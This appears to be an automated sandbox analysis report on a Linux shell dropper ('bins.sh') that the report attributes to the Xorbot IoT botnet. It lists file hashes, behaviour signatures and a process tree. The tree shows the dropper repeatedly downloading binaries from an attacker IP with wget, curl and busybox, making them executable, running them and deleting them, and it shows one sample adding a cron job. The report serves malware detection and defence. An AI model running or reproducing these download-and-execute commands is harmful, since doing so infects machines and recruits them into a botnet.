Analysis

  • max time kernel
    149s
  • max time network
    131s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    03/12/2024, 22:29

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    2fb07c471bdf3d544ed7b17a96c49562

  • SHA1

    d0fcc460e8765eb060a8fd97f608691716a20163

  • SHA256

    8fd6fbf664ac74a348aa5d1f7456a71e7806bcced78f8d18d1c6c0c4f2344b4f

  • SHA512

    526f3eed7ddf8c6697664873fe9fb49c382134a1241790ccaa04edbabbd693deb1a3a8dd341f332d2a878d9a060d70087832449d299647aec5291c7b14645c35

  • SSDEEP

    96:Ettf8gEtkD6cp6cx6cL+6G+vfeZK6KXLog5ZMP3ZK6KXLeg5bttf8gySSjKMc6ci:5tkD6S666P+v25G6S666N+S

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1465
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1466
        • /usr/bin/wget
          wget http://216.126.231.240/bins/f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
          2⤵
          • Writes file to tmp directory
          PID:1467
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
          2⤵
          • Writes file to tmp directory
          PID:1480
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
          2⤵
          • Writes file to tmp directory
          PID:1481
        • /bin/chmod
          chmod 777 f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
          2⤵
          • File and Directory Permissions Modification
          PID:1482
        • /tmp/f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
          ./f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
          2⤵
          • Executes dropped EXE
          PID:1483
        • /bin/rm
          rm f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
          2⤵
            PID:1485
          • /usr/bin/wget
            wget http://216.126.231.240/bins/b0NRJjOXsGdUJBU9KXX62MdZGiPvRmSQIL
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1486
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/b0NRJjOXsGdUJBU9KXX62MdZGiPvRmSQIL
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1494
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/b0NRJjOXsGdUJBU9KXX62MdZGiPvRmSQIL
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1495
          • /bin/chmod
            chmod 777 b0NRJjOXsGdUJBU9KXX62MdZGiPvRmSQIL
            2⤵
            • File and Directory Permissions Modification
            PID:1496
          • /tmp/b0NRJjOXsGdUJBU9KXX62MdZGiPvRmSQIL
            ./b0NRJjOXsGdUJBU9KXX62MdZGiPvRmSQIL
            2⤵
            • Executes dropped EXE
            • System Network Configuration Discovery
            PID:1497
          • /bin/rm
            rm b0NRJjOXsGdUJBU9KXX62MdZGiPvRmSQIL
            2⤵
            • System Network Configuration Discovery
            PID:1499
          • /usr/bin/wget
            wget http://216.126.231.240/bins/9hBieqEVONfG5TIUR0xB7rv2cQv97ST4LP
            2⤵
            • Writes file to tmp directory
            PID:1500
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/9hBieqEVONfG5TIUR0xB7rv2cQv97ST4LP
            2⤵
            • Writes file to tmp directory
            PID:1501
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/9hBieqEVONfG5TIUR0xB7rv2cQv97ST4LP
            2⤵
            • Writes file to tmp directory
            PID:1502
          • /bin/chmod
            chmod 777 9hBieqEVONfG5TIUR0xB7rv2cQv97ST4LP
            2⤵
            • File and Directory Permissions Modification
            PID:1503
          • /tmp/9hBieqEVONfG5TIUR0xB7rv2cQv97ST4LP
            ./9hBieqEVONfG5TIUR0xB7rv2cQv97ST4LP
            2⤵
            • Executes dropped EXE
            PID:1504
          • /bin/rm
            rm 9hBieqEVONfG5TIUR0xB7rv2cQv97ST4LP
            2⤵
              PID:1506
            • /usr/bin/wget
              wget http://216.126.231.240/bins/c8wcFdBZSTr8QGJIwbPkXDfoRt6Xo3mgET
              2⤵
              • Writes file to tmp directory
              PID:1507
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/c8wcFdBZSTr8QGJIwbPkXDfoRt6Xo3mgET
              2⤵
              • Writes file to tmp directory
              PID:1508
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/c8wcFdBZSTr8QGJIwbPkXDfoRt6Xo3mgET
              2⤵
              • Writes file to tmp directory
              PID:1509
            • /bin/chmod
              chmod 777 c8wcFdBZSTr8QGJIwbPkXDfoRt6Xo3mgET
              2⤵
              • File and Directory Permissions Modification
              PID:1510
            • /tmp/c8wcFdBZSTr8QGJIwbPkXDfoRt6Xo3mgET
              ./c8wcFdBZSTr8QGJIwbPkXDfoRt6Xo3mgET
              2⤵
              • Executes dropped EXE
              PID:1511
            • /bin/rm
              rm c8wcFdBZSTr8QGJIwbPkXDfoRt6Xo3mgET
              2⤵
                PID:1513
              • /usr/bin/wget
                wget http://216.126.231.240/bins/5MZZr0K60o5Jan9FDp3ga9jd6yJVJKqpuj
                2⤵
                • Writes file to tmp directory
                PID:1514
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/5MZZr0K60o5Jan9FDp3ga9jd6yJVJKqpuj
                2⤵
                • Writes file to tmp directory
                PID:1515
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/5MZZr0K60o5Jan9FDp3ga9jd6yJVJKqpuj
                2⤵
                • Writes file to tmp directory
                PID:1516
              • /bin/chmod
                chmod 777 5MZZr0K60o5Jan9FDp3ga9jd6yJVJKqpuj
                2⤵
                • File and Directory Permissions Modification
                PID:1517
              • /tmp/5MZZr0K60o5Jan9FDp3ga9jd6yJVJKqpuj
                ./5MZZr0K60o5Jan9FDp3ga9jd6yJVJKqpuj
                2⤵
                • Executes dropped EXE
                PID:1518
              • /bin/rm
                rm 5MZZr0K60o5Jan9FDp3ga9jd6yJVJKqpuj
                2⤵
                  PID:1520
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/G2fmSzVy2j5R7RZnCmamycjM6lUKSwbVAp
                  2⤵
                  • Writes file to tmp directory
                  PID:1521
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/G2fmSzVy2j5R7RZnCmamycjM6lUKSwbVAp
                  2⤵
                  • Writes file to tmp directory
                  PID:1522
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/G2fmSzVy2j5R7RZnCmamycjM6lUKSwbVAp
                  2⤵
                  • Writes file to tmp directory
                  PID:1523
                • /bin/chmod
                  chmod 777 G2fmSzVy2j5R7RZnCmamycjM6lUKSwbVAp
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1524
                • /tmp/G2fmSzVy2j5R7RZnCmamycjM6lUKSwbVAp
                  ./G2fmSzVy2j5R7RZnCmamycjM6lUKSwbVAp
                  2⤵
                  • Executes dropped EXE
                  PID:1525
                • /bin/rm
                  rm G2fmSzVy2j5R7RZnCmamycjM6lUKSwbVAp
                  2⤵
                    PID:1527
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/ahMHjeJw7Uvmvwj6ueQFf4jrOgRdUyu8f5
                    2⤵
                    • Writes file to tmp directory
                    PID:1528
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/ahMHjeJw7Uvmvwj6ueQFf4jrOgRdUyu8f5
                    2⤵
                    • Writes file to tmp directory
                    PID:1529
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/ahMHjeJw7Uvmvwj6ueQFf4jrOgRdUyu8f5
                    2⤵
                    • Writes file to tmp directory
                    PID:1530
                  • /bin/chmod
                    chmod 777 ahMHjeJw7Uvmvwj6ueQFf4jrOgRdUyu8f5
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1531
                  • /tmp/ahMHjeJw7Uvmvwj6ueQFf4jrOgRdUyu8f5
                    ./ahMHjeJw7Uvmvwj6ueQFf4jrOgRdUyu8f5
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:1532
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:1534
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:1535
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:1536
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:1537
                        • /bin/rm
                          rm ahMHjeJw7Uvmvwj6ueQFf4jrOgRdUyu8f5
                          2⤵
                            PID:1539
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/jIWLNyEWZkcZqQiPyD714hg6Hh967ZjpSc
                            2⤵
                            • System Network Configuration Discovery
                            PID:1542

                        Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/5MZZr0K60o5Jan9FDp3ga9jd6yJVJKqpuj

                                Filesize

                                122KB

                                MD5

                                cd3d4b9c643e5b473fb4d88ed05f0716

                                SHA1

                                64ee7a97418583d759eaea8000890cc3bae1b5f4

                                SHA256

                                0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                SHA512

                                164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                              • /tmp/9hBieqEVONfG5TIUR0xB7rv2cQv97ST4LP

                                Filesize

                                177KB

                                MD5

                                786d75a158fe731feca3880f436082c0

                                SHA1

                                79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                SHA256

                                5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                SHA512

                                7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                              • /tmp/G2fmSzVy2j5R7RZnCmamycjM6lUKSwbVAp

                                Filesize

                                107KB

                                MD5

                                eb9c3a0de91fcf16ba17cb24608df68c

                                SHA1

                                09d95a7d70d5e115d103be51edff7c498d272fac

                                SHA256

                                dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                SHA512

                                9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                              • /tmp/ahMHjeJw7Uvmvwj6ueQFf4jrOgRdUyu8f5

                                Filesize

                                112KB

                                MD5

                                05d7857dcead18bbd86d2935f591873c

                                SHA1

                                34d18f41ef35f93d5364ce3e24d74730a4e91985

                                SHA256

                                2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                SHA512

                                d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                              • /tmp/b0NRJjOXsGdUJBU9KXX62MdZGiPvRmSQIL

                                Filesize

                                151KB

                                MD5

                                3c90d5820bddcf7c5d1bd21dfa49d958

                                SHA1

                                5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                SHA256

                                bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                SHA512

                                54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                              • /tmp/c8wcFdBZSTr8QGJIwbPkXDfoRt6Xo3mgET

                                Filesize

                                111KB

                                MD5

                                701e7a55a4f3650f5feee92a9860e5fc

                                SHA1

                                6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                SHA256

                                ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                SHA512

                                7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                              • /tmp/f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6

                                Filesize

                                119KB

                                MD5

                                1b166b95f9cb4b079ef1b9ec8363ddf3

                                SHA1

                                0d8eb08add467b3b5474f9b25909297fe7c2839c

                                SHA256

                                94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                SHA512

                                983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                              • /var/spool/cron/crontabs/tmp.89umVx

                                Filesize

                                210B

                                MD5

                                7e7154e8b7a6fb8ea64d716da4e4a83e

                                SHA1

                                cca81e299fdb821ebe0bf928bf052e3e251ef0f5

                                SHA256

                                872eaed0f5547625ec3dc0c48bfd4c8eec3da54790c917d03014a7240fa9b91a

                                SHA512

                                91b4f91d5beaf38146993096c794b01e733d083ffaf74edde0d1c173a56566002e381129e9b123a947a5848f24a4d68f7d1dd3bdefe41e439f07fe8f5d1d0f40